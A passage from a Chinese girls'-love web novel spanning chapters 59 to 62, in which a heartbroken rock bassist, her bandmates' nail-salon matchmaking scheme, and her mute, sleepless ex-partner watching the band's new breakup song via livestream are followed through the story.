一时间,许风扰的V博和视频APP下全是安慰的话语,就连对许风扰没什么好感的人都说不出其他恶语,故而,许风扰的风评竟以这样的方式好转了些。 可许风扰没心思理会,自那天过后就变得颓丧,中途也去过几次酒吧,可喝了两口就止住。 即便知道这能让自己好受一些,但又实在无法继续下去。 柳听颂是被她推开了,可对方留下的项圈还在,紧紧扣在许风扰的脖颈,无法挣脱也无法忽略,最后甚至连烟都没碰,只在极难受的时候,拆开后又嚼了几回。 其中,因她总往楚澄酒吧跑的缘故,许风扰还被燃陨粉丝拍到两次,往群裏、超话一发一转,看看她那萎靡不振的模样,心疼的人就越发多。 同时也让人更加好奇起许风扰的那位恋爱对象,于是,一场轰轰烈烈的扒人活动就这样开始,期间有不少女星被牵扯进来,从摇滚圈到影视圈,而后又以各种原因被排除。 也有人联想到了柳听颂身上,可就刚说出个名字,就被紧急捂嘴的大粉删除了评论。 这哪裏是咱们燃陨能惹得起的! 甚至连梨子之前建立的CP超话,都被莫名其妙的踹了一脚,好不容易攒出了四五个粉丝,现在就剩下两了。 让梨子深夜扒拉手机的时候,扭曲地整个人都在滚来滚去。 不过,这扒嫂子活动进行得轰轰烈烈,最后结束得却没头没尾,当事人和燃陨三人都不表态,粉丝再怎么猜也没有结果,最后只能扯了一句可能是圈外人就草草结束。 “吃完没?”楚澄喝完豆浆,把杯子一放,抬头就看向对面。 许风扰双手抱着个啃了一半的包子,像是刚刚回神,很是茫然,偏头时,脑袋顶上翘起的发丝就跟着晃。 “哎哟,你这速度,路上吃得了,”楚澄嫌弃的不行,一下子就站起后,伸手将刚被拿出来摆盘的包子,又重新装回塑料袋裏,往许风扰手腕一挂。 “什么路上”许风扰皱了皱眉,还没有弄清缘由,脸上就出现几分抵触。 发觉自己无法坦然喝酒、堕落后,她就天天窝在被子裏睡觉,从白天到晚上,眼睛一闭就是睡,睡饱了就开始发呆,保持一动不动的姿势几分钟,之后又迷迷糊糊睡着,就连房间都很少出,更别说出门了。 “上次咱们不是约好,今天陪况野去美甲店吗?”楚澄扭头看她,眉眼间半点心虚,就是表情略微有点浮夸。 “你不会忘记了吧?前几天咱们一起喝酒时约的。” “咱们况野宝宝多惨啊,被那女孩子钓来钓去那么久,你就真舍得撒手不管了” 楚澄越说越理直气壮,脸上充满指责,让许风扰莫名觉得自己像个不负责任的妈,难过时,把孩子一踹就不管不顾了。 她抿了抿唇,可仅存的那点模糊记忆又告诉她,确实是有过那么一回事,可任由楚澄、纪鹿南在那边叭叭了半天,许风扰却一直没松口答应。 她觉得要先让况野和那女孩子掰扯清楚,之后怎么追再说,现在什么都不知道,一群人就往人家店裏跑,实在有点逼迫的意思。 “走了走了,不然等会就来不及了,”楚澄用催促遮掩心虚。 “你可不知道,她那美甲店可多人了,晚一点都排不上号,咱们得在没开门前就去守着,”她拽着许风扰手腕就往外跑,悬在那儿的塑料袋在拉扯中,发出沙拉拉响声。 许风扰没做过美甲,浑浑噩噩的脑子也理解不了这些,被迫就跟着走。 ——嘭。 房门被关上,继而是汽车的轰鸣声。 半个小时后,一行四人抵达美甲店,人刚拉起卷帘门,她们就先占满了全部位置。 店长乔笙似笑非笑地站在门口,眼波流转间,狡黠又带着几分戏谑。 许风扰默默低下了头,一手压住自己还在翘着的白毛。 楚澄、纪鹿南这两脸皮厚的,已经开始对着价目表挑挑拣拣,嘴一张就要加乔笙的联系方式,再看看其他款式。 而当事人况野,她左看看右看看,便站起身,拿起一块白布将旁边的鱼缸遮盖住。 直到做完这一切,她才默默看向乔笙,吶吶道:“可以遮一下吗?” “你都遮完了,问我做什么?”乔笙笑意盈盈的,看不出喜怒。 况野也闷,“哦”了一声又坐回原位,双手放膝盖上,明明是裏头看起来最不乖的那一个,却摆出老师最喜欢的好学生姿态。 见乔笙加了其他人的联系方式,她也不恼,只是抬眼瞧了她一眼,可怜中又带着点幽怨。 她早就被乔笙删了联系方式。 而许风扰懒得挑,本来就是拽过来凑数的,坐在那儿想了想,竟把之前吃剩的包子又从塑料袋裏掏出来,没感觉有多饿,但是呆坐着又没事干,索性拿出来咬两口。 再等三四分钟后,店裏的员工也赶来,见到燃陨乐队等人,又是一阵喧闹。 毕竟况野前几次赶来,都是遮掩身份,等到所有人离开才主动上前,生怕给乔笙带来半点麻烦,以至于其他人都不知道她们的关系。 现在一整个乐队都塞在裏头,众人是又要签名又合照,还有一个人说自己是燃陨乐队的死忠粉,天天都在店裏播放她们的歌。 不管是不是假话,楚澄、纪鹿南都挺高兴的,拽着那人说了好几句话,然后明示暗示给她推荐了几首歌,让她在店裏多循环播放。 这几首歌都是况野高光点居多,甚至有一两句歌词。 那人激动之下也没多想,还再三保证自己一定会多放,天天放。 乐得楚澄又承诺给她一张专辑,还带全队签名。 许风扰那儿倒是清净,她失恋的事情在网上闹得风风火火,再看她现在状态确实不佳,大家都尽量克制住,只要了签名就躲开。 啃了半天,那包子终于被吃完。 许风扰擦过手后,就开始揉肚子,这是长时间不怎么吃东西的弊端,连吃一个包子都会感到撑。 动作间,刚刚被压下的白毛又固执翘起。 她刚想再抬手压住,却见乔笙突然坐到她面前,递来一杯温水后,就道:“你想做什么款式?” 许风扰懵了下,就算脑子还不大清醒,也察觉到一点不对劲,不是让她们三个占掉其他位置,再把况野推到乔笙面前吗 她这是…… 而面前的乔笙眨了眨眼,好像没有意识到自己在做什么,甚至含笑问道:“那包子好吃吗?给我一个呗。” 她补充道:“我早上起晚了,还没来得及吃东西。” 许风扰如同被冰水一泼,昏沉的脑子彻底清醒。 她睁大眼,震惊地看了眼乔笙,又转头,求助似的看向楚澄、纪鹿南,再看见两个同样呆滞的人后,又瞧向僵在那边的况野。 计划裏可没这事! 而乔笙又笑道:“不可以吃吗?” 第60章 风虽大,却穿过我的灵魂。 “……可以吧, ”许风扰收回求助的视线,语气含糊。 她将塑料袋子提起,又补充了句:“可能有点冷了。” 那人却不在意, 从袋中拿出一个, 施施然就咬住。 许风扰余光瞥向另一边。 况野自顾自坐在旁边,还是那个好学生的姿势, 面色如常,好像什么都没看见。 这是…… 许风扰抬起手想揉揉脸,又怕太过夸张, 最后置于大腿的手默默蜷起。 此刻刚好九点, 暖阳透过贴着廉洁贴纸的玻璃, 正好落在裏头人的眉眼间。 原本死气沉沉的模样,终于出现一丝略微鲜活的窘迫情绪, 虽连着睡了大半个月, 却被梦魇折磨, 眼睑却覆着淡淡青黑。 过分苍白的肤色在日光下几乎透明, 明明是个身* 长腿长的家伙, 却给人一种薄弱颓丧之感。 “你选好什么款式了吗?”乔笙笑着开口。 许风扰薄唇碾磨, 扭头看向另一个还站在旁边的店员, 试图挣扎道:“我想让她帮我做。” 旁边的楚澄、纪鹿南见状,也连忙拽住其他两位店员,异口同声道:“我要她帮我做!” 况野抬了抬眼,无声瞧了对面人一眼。 此刻即便是毫不知情的人,也能察觉到几分不对劲,那三个店员你看看我, 我看看你,不知道想到了什么, 表情很是精彩。 “是吗?”乔笙露出可惜神色,遗憾道:“我还挺喜欢你的……” 许风扰瞳孔缩了下,连脊背都不自觉绷紧。 “歌,”最后一个被拖长后、迟迟未落下的字冒出。 在场四个人都明显松了口气。 乔笙又笑起,那一双总显得狡黠的狐貍眼竟带着几分诚恳,又问:“真的不可以吗?” 许风扰不知该怎么答,脑子就像个停止运转的机器,突然就被要求启动,齿轮咔咔地动了半天,也没见转出半个圈。 反倒是况野先开口,直接说:“可以。” 许是觉得自己太过僵硬,她又补充道:“既然她那么喜欢你,阿风你就让她做吧。” 许风扰眉头一跳,总算明白了电视剧裏被互相闹别扭主角夹在中间的感受,总觉得况野现在的每一句话都在咬牙,故意加重语气。 而且什么叫那么喜欢你,你就让她做吧! 许风扰偷偷吸了口气。 她觉得她现在就像个阴暗潮湿的蘑菇,莫名其妙就被人类端出来,暴晒在阳光下后,又被吵架的情侣一人拍了一巴掌,狍子粉到处乱飞。 “可以吗?”乔笙不看况野,就对着许风扰开口。 又是一巴掌。 况野喊:“阿风。” 又又来了一巴掌。 许风扰觉得自己就要被拍进土壤裏埋着了。 “我看这个款式不错,”楚澄连忙挤入两人间,亮起的手机屏幕倒映着图片。 “对哦,我还没有加过你的联系方式,”乔笙顿时恍然,亮起的手机屏幕被递到许风扰面前。 她笑道:“如果你担忧我会打扰到你的话,可以先屏蔽我。” 楚澄茫然地眨了眨眼,明明是帮忙,却弄巧成拙。 而许风扰,对方都说到这种地步了,她自然也不好拒绝,磨磨蹭蹭掏出手机后,才发觉它不知什么时候就断电关机了。 见状,许风扰、楚澄默默松了口气,便和店员借了个充电宝,丢在桌面充着。 倒不是不能加队友女朋友的联系方式,她们几个都有纪鹿南妻子的南畜,只是不怎么聊天,就在对方发动态时连着串点赞。 尤其注意的是,一定要纪鹿南先点,否则她们就要假装暂时没看见,特别有女同的分寸感和边界感。 可在这种情形下,哪裏适合加这些 许风扰恨不得现在就打车回家。 气氛陷入一瞬沉寂,其他三个店员不敢开口,许风扰、况野都是闷葫芦,楚澄刚刚才做错一回,这下也不敢轻易开口了。 纪鹿南给妻子回了个消息,抬头就道:“你们要做什么款式?橙子你不是想来个碎钻加小亮片吗?” 楚澄“啊”了下,少见的呆滞。 她那天就是随口一说,要真做…… “对了,正好咱们过两天还有个音乐节的演出,咱们都搞花点,当演出的特别造型。” 这音乐节是在和公司没闹僵前就定下的,前两天阿金就打电话过来催过,只是许风扰心情不好,她们就一直没约排练。 “阿风,明儿咱们就到你那边练练?” 虽然安排的是极熟练的那几首曲子,但为了谨慎起见,她们会在演出的前几天多练习几遍。 许风扰点了点头。 都是成年人了,心裏头再怎么难过,也不会拿这事撒气,歌迷又没有做错什么。 话到此处,几人纷纷点头。 只不过这碎钻、小亮片…… 楚澄咬了咬牙,还是加了进去。 实在没办法,他们四个人裏,纪鹿南是有家室的,能松口陪她们做一只左手就已经很仗义了。 而许风扰现在恹恹的,楚澄连骗带拽才把人拉出来,现在也不好折腾她。 还有况野…… 万一她今天就和好,晚上就用上了呢 卸甲半天,多耽搁事啊! 楚澄思来想去,竟只能自己上,她心一横,愣是选了个最繁琐复杂的。 为拖延时间,她一个人付出了太多。 而那店员不懂,还以为楚澄特别喜欢这些,连声保证,她一定会拿出毕生所学,为楚澄做一个最闪最牢固的美甲。 楚澄欲哭无泪,还得强撑着笑容,感谢对方。 即便再苦闷,坐在旁边的许风扰也不禁勾了勾唇角。 “你看这个款可以吗?我感觉这个蛮适合你的,”乔笙恰好在这个时候出声。 唇边那点弧度又压了回去,许风扰垂眼看向对方的手机屏幕。 比起楚澄挑选的那一款,这一款就显得简单很多,只是将指甲涂黑,再用白笔添加小图,很适合第一次尝试这些的人。 许风扰默了下,不知想起什么,慢吞吞地点了点头。 况野与纪鹿南的款式也差不多。 毕竟这东西也挺挑人的,喜欢的人就很喜欢,可get不到的人怎么也不会理解,而燃陨几人也不是会亏待自己的人,要是喜欢,早早就做出花来了,怎么可能今天才尝试,现在真是完全为了况野的爱情。 众人各自坐下,瓶瓶罐罐被打开,发出清脆声响。 许风扰伸出手后就没有再理会,就连乔笙问她喜欢什么花纹,她都让对方看着办。 完全不在意自己的手会被涂抹成什么样。 余光又瞥向旁边,况野还在闷声不出气。 许风扰默默嘆了口气。 ——— 未有阳光落下的S市另一面,比起其他地方,医院总会显得寂寥,落叶被风吹起,发出稀疏声响,空气中还带着经历几夜暴雨后的清凉,与潮湿的腐朽味道交织。 僻静的房间内,穿着白大褂的人皱着眉头,露出为难神色。 而站在旁边的梨子焦急又担忧。 唯有另一面的女人神色平淡,像事不关己,垂落的眼眸是在为了另一人寂然。 “真的没有别的办法了吗?”梨子实在不甘心,再一次出声问道。 被捏在的手中的纸页已被揉皱,指节更是发白。 “我能试的办法都已经试过了,”医生取下眼镜,疲倦的眼眸透着无能为力。 “结合您之前的说法,柳小姐的父亲具有严重的精神问题,而精神问题又具有一定的遗传倾向……” “这种情况在医学领域还未找到合适、系统化的解决办法,我只能给她进行一些心理疏导。” “可是柳小姐她并不配合治疗,甚至排斥入眠。” “而且您也说过了,这已经是她第二次失声了。” “如果第一次失声是在国外治疗,且得以痊愈的话,我的建议还是离开S市,找到之前的主治医生进行疏导。” 梨子面色灰暗,混乱的声音微颤:“真的必须离开?可她才回国没多久。” “如果两次失声都在S市的话,我觉得还是应该出国,尽量远离给她造成创伤的地方。” 医生低头擦拭眼镜,幽幽冒出一句:“人并非要一直勇敢,就像那句话说的,逃避可耻,但是有用,尤其是对于柳小姐这样的病人,尽量避免受到刺激才是最好的。” 梨子不甘道:“可是、可是……” 她不禁回想起半个月前,她因急事要联系柳听颂,却连打几个电话都找不到人,最后只得问到许风扰那边去。 那人倒是接电话了,可语气却阴沉,只说柳听颂在S大,叫梨子将她带回家。 梨子一听这话,哪裏猜不出这两人闹了矛盾 她心中焦急下,更是不断给柳听颂打电话。 可柳听颂虽接了,却不说话,吓得她不停询问,直至柳听颂将电话挂断,给她发了消息,梨子才知道地点,火急火燎赶过去后,急切担忧的心情没有好转半点,甚至还因知晓柳听颂又失声后,越发恐慌。 这半个月,她带着柳听颂连跑了几家医院,得出的结果却都大差不差。 要么是说心病还须心药医,让她们找到柳听颂失声的原因,努力克服,要么就是叫柳听颂再出国。 前者的建议,梨子倒是想试一试,可柳听颂坚决不让她找许风扰,甚至用不吃药、不看医生作为威胁,如此情况下,梨子只能放弃。 可后者的建议…… 梨子揉了揉眉头,深感棘手。 正当这时,柳听颂抬手扯了扯她的袖口,便示意要走。 不等梨子再说,她就手杵椅子旁边的扶手,哪怕是起身这样的简单动作,对于半个月都是浅眠、几乎无法入睡,更难进食的柳听颂而言,也做得极其困难,还得梨子抽出手帮忙,才避免腿脚发虚的磕绊。 被关上的房门发出“嘭”的一声响,等待许久的轿车终于再次启动。 坐回副驾驶的梨子,先将结果告知于杜语蓉,继而才偏头往后看去。 柳听颂如之前一般,整个人都蜷缩进皮质座位裏,因衣物拉扯而露出的手腕、脚踝纤细,薄皮贴着瘦骨,将那些青紫脉络显得过分清晰,让人看得心裏发颤。 “姐、”梨子小心喊了声,声音很轻,生怕吓到她一般。 柳听颂反应极慢,好一会才抬眼看向梨子。 “喝点水好不好?”梨子不敢着急,拧开一瓶矿泉水往后递。 可柳听颂却摆手拒绝,哪怕她嘴唇早已发干起皮,也不愿意接过矿泉水,反倒向梨子比了个手势。 【要平板】 “先喝一口水再看,好不好?”梨子试图和她商量。 可柳听颂固执摇头,重复那个手势。 【要平板】 “你喝一口我就给你。” 柳听颂表情一冷,竟直勾勾盯着梨子,往日清冷矜贵淡去,换作执拗与偏执。 在这半个月裏,这样的事情不止一次发生,梨子依旧没有办法应对,只得将充满电的平板递过去,妥协道:“这次只准看一个小时行不行,看一个小时睡十分钟?” 她的要求一而再再而三地放低,可柳听颂却依旧没有回答,自顾自拿过平板后就点开。 梨子甚至都不需要扭头,就能预判到柳听颂打开平板后的全部过程。 先点开南畜,看一眼她与许风扰的聊天框,再去空间裏看一眼自己有没有被删除,继而又盯着许风扰仅存的两条动态看。 十分钟后,她又要切换软件,登入V博,查阅有关于许风扰的全部内容,将那些翻来覆去、不知道看了几遍的东西重新看完一遍。 一个小时后,她就要点开视频APP,将许风扰之前发过的视频,再全部播放一遍。 最后,她就点开依旧没有消息发出的聊天框发愣,直至电量消耗殆尽,从夜晚到天明,再从天亮到一片漆黑,往复循环,没有尽头。 只有这个时候,她黯然失色的眼眸才能映出一点点稀薄的光亮,像是垂死之人紧紧拽在手中的细绳。 梨子不敢劝,也无法劝。 明了柳听颂现在已将这些东西当做唯一的精神支柱,再也经不起半点波澜。 思绪落到这儿,梨子微微偏头,担忧看向后面。 可这一次的情况却出乎她所料。 只见柳听颂呆呆愣愣盯着屏幕,眼泪如水,不断从无神眼眶往外涌,如同一个彻底被抛弃的破布人偶。 梨子心裏一慌,忙道:“姐!你怎么了姐!” 她连忙探身,单手抽过平板,就见热搜上赫然多了一条#许风扰带队友密会女友,疑似矛盾解开# 附图是一张从远处偷拍的模糊图片,梨子眯了眯眼,这才看出,裏头是一个长相妩媚的女人在拽着许风扰的手,并笑着和她说些什么,而许风扰没有阻拦,甚至附身侧耳,表情认真。 梨子心脏落了一拍,暗道:完了! 再看美甲店内, 许风扰低头看着自己已经被涂得漆黑的指甲,再瞧向那用白颜料画出的笑脸,扯了扯嘴角却笑不出来,心情变得十分复杂,还要极力夸赞:“挺、挺好的。” 机灵如狐貍的乔笙,像是一点也没能看出她的为难,还笑着道:“你喜欢就好,下次还想做美甲可以提前联系我哦,不用一大早就守在这裏。” 拖到最后,那联系方式还是加上了。 许风扰僵着脸,点了点头。 乔笙依旧不在意,当着她的面就翻进许风扰的空间,像是很感兴趣的模样。 幸好许风扰是个不爱发东西的人,平常连拍照都懒得,所以裏头就两条动态。 一条是前几日在海城时发的,没有文字,配图是夕阳坠入海平面,评论被燃陨几人刷了满屏,全是调侃与祝福。 剩下一条是五年前,像是偶尔瞧见的诗词摘录,只有寥寥几句: 你治好了我的郁抑, 而后赐给我悲伤, 郁抑和悲伤之间的快乐,已经透支了我人生中所有的幸福, 一想到与你沦为路人, 就好像与全世界沦为路人, 风虽大, 却穿过我的灵魂。 乔笙一时哑然,还没有来得及说什么,就听到楚澄突然出声道:“小笙,我们这裏还有几张音乐节的票,你愿意来吗?” 她抬头一笑,说:“好啊。”《 》 60-70 第61章 她僵在她搭建的巢xue裏,失控般地崩溃,无声地大哭 厚重窗帘被紧紧合上, 午间的光亮被完全遮挡。 曾经温存过的房间寂静,只剩下蜷缩在床裏的人。 她把自己埋在堆成巢xue般的衣服堆裏,怀裏抱着那件帕恰狗短袖, 布料被揉得发皱, 发丝散落,眼尾还有泪痕, 却不曾沾染在衣服上。 她甚至害怕自己会“污染”这些衣服,所以连沐浴露都少用,擦拭干净后、身无一物就往裏头钻。 可这些都无法挽回逐渐消散的味道, 只能越发抱紧怀裏的衣服, 将脑袋都埋入其中, 贪婪呼吸,才能获取一点几乎不可闻的气息。 直到设定的闹钟响起, 她才从衣服堆裏抬起头, 布满血丝的眼眸满是疲倦, 却没有丝毫睡意, 清醒与浑噩交织, 竟出现在同一双眼中 又是一晚没睡, 几次浅眠都被梦魇惊醒, 拢共不过半个小时。 她勉强伸出一只手,抓住置于枕头上的手机,裸///露的脊背发颤,蝴蝶骨在扇动更显薄弱,清晰脊骨顺着往下,直至深陷的腰窝处才稍稍隐没, 往日矜雅清冷的人,如今像是不堪一折的花茎, 随时可以捏碎。 屏幕亮起,烦人闹钟没有被第一时间被关掉,仍由来自于许风扰的哼唱声不断循环。 记得上一次被许风扰发现,她还红着耳朵抱怨,说柳听颂怎么什么都设成她的歌,她听着真的很奇怪,如果柳听颂实在喜欢听的话,可以随时和她点歌,她可以现场给姐姐唱。 想到这儿,柳听颂眉眼柔了柔。 可当歌声止住,回忆就如潮水般褪去,只剩下空荡荡的房间,还有手机壁纸裏的夕阳与海,就是许风扰发在空间的那一张,角落裏的水印都没舍得截去,小心翼翼地留在最角落。 这半个月都是这样,或者说过去的五年直至今日,她的生活都在回忆与现实中交替,严重时甚至分不清哪边是真实,哪边是幻觉。 心理医生因此给她开了很多药,大多数都是助眠的,要她从早睡到晚,好像这样就不会让她乱想。 可思念过度的大脑惯会编制美梦,她曾无数次在梦裏回到许风扰身边,又在梦境散去时,无比清醒地察觉到还是自己一个人,于是就会在一次次失去与得到中,感受到更大的痛楚,这样的反复,比一直失去要残酷得多。 所以,她也不大敢睡觉了。 助眠的药物都被丢进垃圾桶,靠着回忆也能强撑,没必要陷进一些虚幻的梦境裏,很怕有一天真的分不清,反倒记错了真正属于她们两的回忆。 思绪落到这儿,柳听颂点开手机,早早就关注好的几个博主已开启直播,顺着挤挤攘攘的人群看去,搭建好的舞臺还空无一人,只有零散摆放的乐器。 其实这样的直播并不合规,随时有被人掐断的风险。 可柳听颂实在没办法了。 不是买不到票,还没有宣传前就已用另一种渠道提前知晓,更记得那一日开售,早一个小时就停留在购票APP的界面上。 可许风扰说不想见她,不准她去找她。 所以柳听颂沉默地看着票被一张张抢完,最后还是没能按下购买的按键。 但她还是想看一眼许风扰,哪怕是用这种不大合规的方式。 柳听颂等了许久,前一个直播间被掐灭又换了一个。 如今的燃陨已不再是她离去时,那个小小的、还需要求人,才能在其他乐队表演的间隙,急急忙忙冲上舞臺,还没有唱完一首就要被驱逐的无名乐队 她们现在不仅是压轴,还是主办方用以宣传卖票的利器。 在场好些人都是奔着燃陨而来,哪怕对其他乐队丝毫不感兴趣,也会久久等在最后面。 直播间的评论还在一直刷着,都在讨论燃陨队友。 【听说这次燃陨会出新歌,是不是真的啊】 【好像是主办方说的,不过也不好说,怎么会出新歌一点预告都没有,直接就登臺演唱的。】 【怎么没预告,前几天许风扰不是发过视频了吗?】 【那首小甜歌对啊!我有前排的姐妹说许风扰那个绯闻女友也来了!】 这条评论一出,直播间瞬间变得更加热闹,之前那些闷声不发言的人都追问起来。 那主播瞧见,便神秘兮兮地添了把火:“对,我朋友刚刚也瞧见了,就是前两天和许风扰上热搜的那个。” 不管他说的是真是假,反正直播间是彻底翻腾起来,礼物飘满屏幕,连带着各种问题。 主播笑得眼睛都眯起,故意等一波礼物送完,才挑挑拣拣地回答:“本人线下漂不漂亮” “我朋友说她真人确实很漂亮,肯定线下比较漂亮啦,那张照片糊成什么样了。” 他看着评论,再一次重复:“想看?” 他自顾自地回:“我挤不进去啊,人家被安排在最前排呢。” 他念:“前两天的热搜?” “我肯定是看过的啊,许风扰不是为了人家失魂落魄,还冒着大雨走回家吗?” “对对,我之前也觉得许风扰会是玩得很花的那种,”主播附和着。 “没想到她真是个恋爱脑,应该没谈几天就火急火燎带着见朋友了。” “前两天可能是发生什么矛盾吧?后面许风扰都带着队友追过去了,肯定是和好了。” “废话,要是没和好,她怎么会同意过来。” 弹幕与主播配合,三言两语间,就编造出了一个看似有理有据的故事。 另一面的柳听颂抿了抿唇,那日见到照片时,意识还不大清醒,等缓过神后,就想起在酒吧时,况野所说的那个前女友。 而且她们约着做美甲这事,她也是知晓的。 只是不知她们几个计划来计划去,为什么会变成况野前任给许风扰做美甲。 至于她为什么没有见过人,却认出这人是况野前任的问题。 那主播不是说过照片裏的人来到现场了吗 这几个人思来想去,就是为了给况野和她前女友创造见面机会,有机会肯定会将人邀请至音乐节,怎么会拉扯无关紧要的人过来。 可她虽然清楚,但心裏还是忍不住气闷。 不喜欢旁人把许风扰和其他人绑在一起,编造所谓爱恨情仇。 幸好他们也没能说多少,片刻之后燃陨乐队终于上臺,臺下彻底翻腾,主播也被吸引,一边焦急聚焦,一边大喊着燃陨。 更远处有人甩起旗帜,高举的手机,屏幕亮起。 柳听颂也暂时抛下所有思绪,凝神看去。 出乎众人意料的,新歌没有放在最后,反而放到最前头。 站在高臺之上的人,一手抓住麦克风支架,一手握住贝斯琴颈,白发又被重新漂洗过,更偏向于灰白,眉眼不见以往的锐利桀骜,有一种被打击后的颓丧消沉,却不显苍老,一举一动都能引起尖叫。 一如之前的舞臺,没有太多废话。 许风扰言简意赅道:“这首是前两天我们排练时写的,风格和以往不大一样,希望你们不会听懂。” 最后一句话让人疑惑,许风扰却没有解释,随着她低头,手抚于琴弦之上,准备好之后,音乐声便响起。 柳听颂微微拧眉,直到歌声响起时,才明了对方的话语。 “我是,” “拿不出手的,” “让你丢脸的,” “看不见的人。” 低沉的歌声不复肆意,曲调听着好像还是燃陨惯用的风格,可仔细分辨后,却觉得完全不同,节奏感不再那么强烈,甚至不算摇滚。 而且要说她们之前的歌,都是对囚笼的不满,对自由的向往,那这首歌更像是悲伤的控诉,一遍遍地质问,绝望后的放弃。 “我是,” “可以哄好的,” “任你加减的。” 不知是有意还是无意,许风扰抬眼看向这边,故作平静的碧水眼眸,早已破碎不堪。 柳听颂心一颤,明明知晓对方不可能知道自己在看,却慌张地将手机盖上,连怀裏的衣服都被微微松开,不再像之前那样紧抱。 布料之上的帕恰狗还在憨憨扯着耳朵,完全不知道房间裏掀起了怎样的情绪起伏。 即便屏幕已被盖住,可歌声还是从扬声器中传出,环绕在空荡房间。 “如何摆脱松动你那旧日裏的光。” 柳听颂深深吸了口气,却无法缓和泛滥的酸楚。 “凭什么关上一扇门,” “还要再开扇窗,” “难道要我偷偷的望。” 现场骤然安静,像是沉浸其中,被拉扯进漆黑的房间,看着那个瘦弱的小孩仰头看向窗外、一点点稀薄的光亮。 给予希望又碾碎后,最是残忍。 “我的忍耐早已倦怠,” “我为什么愿意挨,” “难不成我喜欢,” “你给我重塑的三观。” 此时风起,原本字字坚定的控诉,变得飘忽而虚晃。 柳听颂终于鼓起勇气,重新拿起手机。 光亮落在她泛着水光的眼眸,是和裏头人一般的悲凉无神。 一遍遍地相信,一遍遍地被抛弃。 她就像个被丢惯了,谁都可以欺负的小狗,再难受再可怜,也无法指责,无法破口大骂,这样的举动已算是她最过分的宣洩。 “不讲理是假的,” “心不死是假的。” 突然有穿着保安服的人从人群中挤入,往主播这边挤。 仅剩的一个直播也被发现。 反应过来的主播连忙拔腿就跑,试图往裏逃窜,安静片刻的直播间也一下子热闹起来,大家纷纷刷屏,幸灾乐祸地叫主播快跑。 在这样的你追我赶的慌乱中,音乐终于迎来了最尾声。 “我爱你是真的。” 保安大喊着:“别跑!别跑!” 被推挤的人群发出惊慌声、骂声、抱怨声。 做直播的手机被高高举起,最后的画面是澄澈蔚蓝的天空。 最后一声嘶哑歌声,终于落下。 “我永远不可能。” 直播屏幕变作漆黑,氤氲在眼尾的雾气终于凝成水珠,滑落向床单,染出深色痕迹。 被咬破的唇开开合合,试图发出声音,给予对方听不见的回应,可她连这点毫无作用的声音都发不出,哪怕极力大喊,也最多能发出一点点含糊音节,连自己都听不见,更何况别人。 她僵在她搭建的巢xue裏,失控般地崩溃,无声地大哭。 那件短袖又紧紧抱住,环住自己的双臂,手掐在纤薄肩膀,留下一个又一个月牙深坑。 衣服堆出的小山坍塌,重重砸在她的身上,如同沉重而无解的愧疚,将身躯挤压。 最后连呼吸都变得困难,只能像个搁浅的鱼一般大口呼吸,咸涩的眼泪落在舌尖,比任何滋味都要苦。 第62章 她再也不会原谅柳听颂 音乐节的演出很成功, 在彻底点燃的沸腾声中,臺上的主角无声离场,只余下四处扩散的视频。 再晚些, 当夕阳拉下帷幕, 天空变作深蓝,几点碎星闪烁, 被山间路灯遮掩光芒,排气管的轰鸣骤然响起,各色机车疾速从弯道冲出, 再顺着柏油路径直往上。 厉风擦过头盔, 扬起灰白发尾, 许风扰余光瞥向旁边贴近的黑车,紧握的把手微微拧动。 可下一秒, 又有一辆色彩艳丽的机车从身边擦过, 掀起呼啸风声。 是楚澄追了上来。 许风扰还没有来得及追赶, 旁边的黑车已逼近。 而况野紧随其后, 只等一个机会冲往前。 可许风扰哪裏会给她机会, 下一秒, 白色机车冲重围。 四人你追我赶, 各不相让,车轮碾碎落叶,旁边的枯枝摇晃,肆意又自由。 不知过了多久,玩得尽兴的众人才在山间观景臺中停下。 易拉罐碰撞,褐色汽水泼洒而出, 泛起甜腻味道,四人斜倚着木栏, 望着遥远城市,打趣声不断。 “得了吧,也不知道是谁被我超了两回。” 刚得意一会的楚澄被无情揭穿,不由扭头瞪向之前出声的况野。 那人施施然喝了口汽水,还没有彻底咽下去,便听到楚澄的反击。 “对对对,你是最厉害了,也不知道那谁在臺下的时候,是谁连耍个帅都不敢。” “咳咳咳!”况野直接被呛到,咳嗽不止。 夺回脸面的楚澄顿时大笑:“你怎么那么不争气啊你,咱们都把舞臺给你腾出来了,主唱都贴边唱了。” 这次为了况野,她们都没按照以往的站位,而是三人全靠边,直接将楚澄与架子鼓摆于中间,还特地用臺子抬高,不管从那个角度望去,况野都是最显眼的中心。 选歌同样,除了那首新歌,其余三首都挑了最突出况野的歌,连麦克风都给她架在旁边,许风扰连夜改歌,愣是给况野加几段词。 这都不能叫做开屏的孔雀了,简直就是甩着尾巴,使劲往人家脸上扫。 可偏生况野不争气,平常能玩出花来的甩棒,这一次愣是没能丢出手心,看得许风扰三人着急不已,暗中催了几回。 中间的洒水互动也是,大家都自觉往左右两边跑,让况野凑到乔笙那边,却没想到这人当场丢了个大的,倒不是把瓶子甩出去了,只是挥出水流还没有往前,就已经落在脚尖,甩了又好像没甩,以至于让早早甩出漂亮水花的三人当场僵住。 你早说你甩不出来啊,你要是甩不出来,我们就假装口渴,一口喝了它啊。 努力当陪衬的三人费尽心思,最后却没折腾出什么效果,又气又好笑下,一逮到况野就开始调侃。 这不,纪鹿南当即就接道:“舞臺你不行,私底下约个饭也行啊。” 楚澄连连点头:“对啊对啊,实在不行,约她一起跑个山。” 况野的咳嗽声就没停过,前面是真的,后面是装的,一点也不敢停。 如此情景下,饶是许风扰都露出一丝笑意。 “前两天在美甲店裏,要不是我提前知道是你追她,我还以为是小笙喜欢你呢。” 楚澄想起这件事就气不打一处来,捏着易拉罐的手一紧。 那黑白渐变还镶嵌着碎钻的美甲显眼,虽然怕影响弹琴,没有用延长甲,但店员特地给她加了一颗超大黑钻,就在中指上,比别人戴钻戒还要耀眼,哪怕不是她的粉丝,也都举着个手机,使劲往她的手拍。 以前像个嘚瑟孔雀、演出结束就不停往超话跑的人,直到现在也没敢打开V博,生怕瞧见满屏的指甲特写。 想到这儿,楚澄越发觉得自己亏大了。 况野咳了半天也没躲过调侃,索性抬起头,无奈道:“我约了我约了,我发消息给她了。””哎” 三人扭头看向她,满脸诧异。 况野只好拿出手机,将聊天记录翻出。 楚澄斜眼一瞧,南畜都没加上,还是发短信,连个发表情包装可爱的机会都没有,显得况野的话更加生硬,但另一位也没好到哪裏去…… 楚澄的眼神落在那简单明了的“不要”两个字上面,欲言又止。 连个借口都没有,干脆就拒绝了呢。 许风扰、纪鹿南同样瞧见,深感况野这追妻之路漫长。 